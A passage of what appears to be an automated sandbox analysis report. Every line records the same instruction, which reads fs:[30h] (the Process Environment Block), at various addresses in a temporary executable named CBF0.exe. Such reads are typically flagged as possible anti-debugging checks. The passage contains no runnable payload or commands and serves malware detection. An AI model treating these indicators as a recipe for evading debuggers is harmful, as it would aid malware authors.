Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 mov eax, dword ptr fs:[00000030h]	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF mov eax, dword ptr fs:[00000030h]	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545AC0 mov eax, dword ptr fs:[00000030h]	29_2_6B545AC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545AC0 mov eax, dword ptr fs:[00000030h]	29_2_6B545AC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545AC0 mov eax, dword ptr fs:[00000030h]	29_2_6B545AC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B572ACB mov eax, dword ptr fs:[00000030h]	29_2_6B572ACB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543ACA mov eax, dword ptr fs:[00000030h]	29_2_6B543ACA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B572AE4 mov eax, dword ptr fs:[00000030h]	29_2_6B572AE4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618ADD mov eax, dword ptr fs:[00000030h]	29_2_6B618ADD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D294 mov eax, dword ptr fs:[00000030h]	29_2_6B57D294
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D294 mov eax, dword ptr fs:[00000030h]	29_2_6B57D294
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DA88 mov eax, dword ptr fs:[00000030h]	29_2_6B57DA88
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DA88 mov eax, dword ptr fs:[00000030h]	29_2_6B57DA88
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55AAB0 mov eax, dword ptr fs:[00000030h]	29_2_6B55AAB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55AAB0 mov eax, dword ptr fs:[00000030h]	29_2_6B55AAB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5712BD mov esi, dword ptr fs:[00000030h]	29_2_6B5712BD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5712BD mov eax, dword ptr fs:[00000030h]	29_2_6B5712BD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5712BD mov eax, dword ptr fs:[00000030h]	29_2_6B5712BD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B541AA0 mov eax, dword ptr fs:[00000030h]	29_2_6B541AA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B575AA0 mov eax, dword ptr fs:[00000030h]	29_2_6B575AA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B575AA0 mov eax, dword ptr fs:[00000030h]	29_2_6B575AA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60E962 mov eax, dword ptr fs:[00000030h]	29_2_6B60E962
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618966 mov eax, dword ptr fs:[00000030h]	29_2_6B618966
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54395E mov eax, dword ptr fs:[00000030h]	29_2_6B54395E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54395E mov eax, dword ptr fs:[00000030h]	29_2_6B54395E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B944 mov eax, dword ptr fs:[00000030h]	29_2_6B56B944
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B944 mov eax, dword ptr fs:[00000030h]	29_2_6B56B944
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B171 mov eax, dword ptr fs:[00000030h]	29_2_6B54B171
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B171 mov eax, dword ptr fs:[00000030h]	29_2_6B54B171
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549100 mov eax, dword ptr fs:[00000030h]	29_2_6B549100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549100 mov eax, dword ptr fs:[00000030h]	29_2_6B549100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549100 mov eax, dword ptr fs:[00000030h]	29_2_6B549100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B550100 mov eax, dword ptr fs:[00000030h]	29_2_6B550100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B550100 mov eax, dword ptr fs:[00000030h]	29_2_6B550100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B550100 mov eax, dword ptr fs:[00000030h]	29_2_6B550100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543138 mov ecx, dword ptr fs:[00000030h]	29_2_6B543138
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57513A mov eax, dword ptr fs:[00000030h]	29_2_6B57513A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57513A mov eax, dword ptr fs:[00000030h]	29_2_6B57513A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6189E7 mov eax, dword ptr fs:[00000030h]	29_2_6B6189E7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5599C7 mov eax, dword ptr fs:[00000030h]	29_2_6B5599C7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5599C7 mov eax, dword ptr fs:[00000030h]	29_2_6B5599C7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5599C7 mov eax, dword ptr fs:[00000030h]	29_2_6B5599C7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5599C7 mov eax, dword ptr fs:[00000030h]	29_2_6B5599C7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5431E0 mov eax, dword ptr fs:[00000030h]	29_2_6B5431E0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D41E8 mov eax, dword ptr fs:[00000030h]	29_2_6B5D41E8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6B54B1E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6B54B1E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6B54B1E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6049A4 mov eax, dword ptr fs:[00000030h]	29_2_6B6049A4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6049A4 mov eax, dword ptr fs:[00000030h]	29_2_6B6049A4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6049A4 mov eax, dword ptr fs:[00000030h]	29_2_6B6049A4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6049A4 mov eax, dword ptr fs:[00000030h]	29_2_6B6049A4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574190 mov eax, dword ptr fs:[00000030h]	29_2_6B574190
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B572990 mov eax, dword ptr fs:[00000030h]	29_2_6B572990
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54519E mov eax, dword ptr fs:[00000030h]	29_2_6B54519E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54519E mov ecx, dword ptr fs:[00000030h]	29_2_6B54519E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57A185 mov eax, dword ptr fs:[00000030h]	29_2_6B57A185
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56C182 mov eax, dword ptr fs:[00000030h]	29_2_6B56C182
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F1B5 mov eax, dword ptr fs:[00000030h]	29_2_6B61F1B5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F1B5 mov eax, dword ptr fs:[00000030h]	29_2_6B61F1B5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C51BE mov eax, dword ptr fs:[00000030h]	29_2_6B5C51BE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C51BE mov eax, dword ptr fs:[00000030h]	29_2_6B5C51BE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C51BE mov eax, dword ptr fs:[00000030h]	29_2_6B5C51BE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C51BE mov eax, dword ptr fs:[00000030h]	29_2_6B5C51BE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C9BF mov eax, dword ptr fs:[00000030h]	29_2_6B57C9BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C9BF mov eax, dword ptr fs:[00000030h]	29_2_6B57C9BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov eax, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov eax, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov eax, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov ecx, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF mov eax, dword ptr fs:[00000030h]	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60A189 mov eax, dword ptr fs:[00000030h]	29_2_6B60A189
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60A189 mov ecx, dword ptr fs:[00000030h]	29_2_6B60A189
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5761A0 mov eax, dword ptr fs:[00000030h]	29_2_6B5761A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5761A0 mov eax, dword ptr fs:[00000030h]	29_2_6B5761A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B547055 mov eax, dword ptr fs:[00000030h]	29_2_6B547055
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545050 mov eax, dword ptr fs:[00000030h]	29_2_6B545050
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545050 mov eax, dword ptr fs:[00000030h]	29_2_6B545050
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545050 mov eax, dword ptr fs:[00000030h]	29_2_6B545050
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B602073 mov eax, dword ptr fs:[00000030h]	29_2_6B602073
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B611074 mov eax, dword ptr fs:[00000030h]	29_2_6B611074
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56F86D mov eax, dword ptr fs:[00000030h]	29_2_6B56F86D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F018 mov eax, dword ptr fs:[00000030h]	29_2_6B54F018
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F018 mov eax, dword ptr fs:[00000030h]	29_2_6B54F018
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546800 mov eax, dword ptr fs:[00000030h]	29_2_6B546800
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546800 mov eax, dword ptr fs:[00000030h]	29_2_6B546800
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546800 mov eax, dword ptr fs:[00000030h]	29_2_6B546800
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B558800 mov eax, dword ptr fs:[00000030h]	29_2_6B558800
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A830 mov eax, dword ptr fs:[00000030h]	29_2_6B56A830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A830 mov eax, dword ptr fs:[00000030h]	29_2_6B56A830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A830 mov eax, dword ptr fs:[00000030h]	29_2_6B56A830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A830 mov eax, dword ptr fs:[00000030h]	29_2_6B56A830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B614015 mov eax, dword ptr fs:[00000030h]	29_2_6B614015
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B614015 mov eax, dword ptr fs:[00000030h]	29_2_6B614015
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574020 mov edi, dword ptr fs:[00000030h]	29_2_6B574020
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F019 mov eax, dword ptr fs:[00000030h]	29_2_6B61F019
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F019 mov eax, dword ptr fs:[00000030h]	29_2_6B61F019
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5470C0 mov eax, dword ptr fs:[00000030h]	29_2_6B5470C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5470C0 mov eax, dword ptr fs:[00000030h]	29_2_6B5470C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528FD mov eax, dword ptr fs:[00000030h]	29_2_6B5528FD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528FD mov eax, dword ptr fs:[00000030h]	29_2_6B5528FD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528FD mov eax, dword ptr fs:[00000030h]	29_2_6B5528FD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6B56B8E4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6B56B8E4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5440E1 mov eax, dword ptr fs:[00000030h]	29_2_6B5440E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5440E1 mov eax, dword ptr fs:[00000030h]	29_2_6B5440E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5440E1 mov eax, dword ptr fs:[00000030h]	29_2_6B5440E1
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5458EC mov eax, dword ptr fs:[00000030h]	29_2_6B5458EC
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543880 mov eax, dword ptr fs:[00000030h]	29_2_6B543880
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543880 mov eax, dword ptr fs:[00000030h]	29_2_6B543880
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6B54E8B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57F0BF mov ecx, dword ptr fs:[00000030h]	29_2_6B57F0BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57F0BF mov eax, dword ptr fs:[00000030h]	29_2_6B57F0BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57F0BF mov eax, dword ptr fs:[00000030h]	29_2_6B57F0BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5890AF mov eax, dword ptr fs:[00000030h]	29_2_6B5890AF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov eax, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov eax, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov eax, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov ecx, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov eax, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5528AE mov eax, dword ptr fs:[00000030h]	29_2_6B5528AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F mov eax, dword ptr fs:[00000030h]	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F mov eax, dword ptr fs:[00000030h]	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F mov eax, dword ptr fs:[00000030h]	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F mov eax, dword ptr fs:[00000030h]	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F mov eax, dword ptr fs:[00000030h]	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618F6A mov eax, dword ptr fs:[00000030h]	29_2_6B618F6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54A745 mov eax, dword ptr fs:[00000030h]	29_2_6B54A745
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DF4C mov eax, dword ptr fs:[00000030h]	29_2_6B57DF4C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546F60 mov eax, dword ptr fs:[00000030h]	29_2_6B546F60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546F60 mov eax, dword ptr fs:[00000030h]	29_2_6B546F60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56E760 mov eax, dword ptr fs:[00000030h]	29_2_6B56E760
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56E760 mov eax, dword ptr fs:[00000030h]	29_2_6B56E760
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CF6A mov eax, dword ptr fs:[00000030h]	29_2_6B57CF6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CF6A mov eax, dword ptr fs:[00000030h]	29_2_6B57CF6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56F716 mov eax, dword ptr fs:[00000030h]	29_2_6B56F716
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574710 mov eax, dword ptr fs:[00000030h]	29_2_6B574710
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5DFF10 mov eax, dword ptr fs:[00000030h]	29_2_6B5DFF10
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5DFF10 mov eax, dword ptr fs:[00000030h]	29_2_6B5DFF10
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C707 mov eax, dword ptr fs:[00000030h]	29_2_6B57C707
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C707 mov ecx, dword ptr fs:[00000030h]	29_2_6B57C707
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C707 mov eax, dword ptr fs:[00000030h]	29_2_6B57C707
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546730 mov eax, dword ptr fs:[00000030h]	29_2_6B546730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546730 mov eax, dword ptr fs:[00000030h]	29_2_6B546730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546730 mov eax, dword ptr fs:[00000030h]	29_2_6B546730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57E730 mov eax, dword ptr fs:[00000030h]	29_2_6B57E730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B73D mov eax, dword ptr fs:[00000030h]	29_2_6B56B73D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B73D mov eax, dword ptr fs:[00000030h]	29_2_6B56B73D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544F2E mov eax, dword ptr fs:[00000030h]	29_2_6B544F2E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544F2E mov eax, dword ptr fs:[00000030h]	29_2_6B544F2E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543FC5 mov eax, dword ptr fs:[00000030h]	29_2_6B543FC5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543FC5 mov eax, dword ptr fs:[00000030h]	29_2_6B543FC5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543FC5 mov eax, dword ptr fs:[00000030h]	29_2_6B543FC5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D7CA mov eax, dword ptr fs:[00000030h]	29_2_6B57D7CA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D7CA mov eax, dword ptr fs:[00000030h]	29_2_6B57D7CA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5837F5 mov eax, dword ptr fs:[00000030h]	29_2_6B5837F5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB mov eax, dword ptr fs:[00000030h]	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 mov eax, dword ptr fs:[00000030h]	29_2_6B542FB0
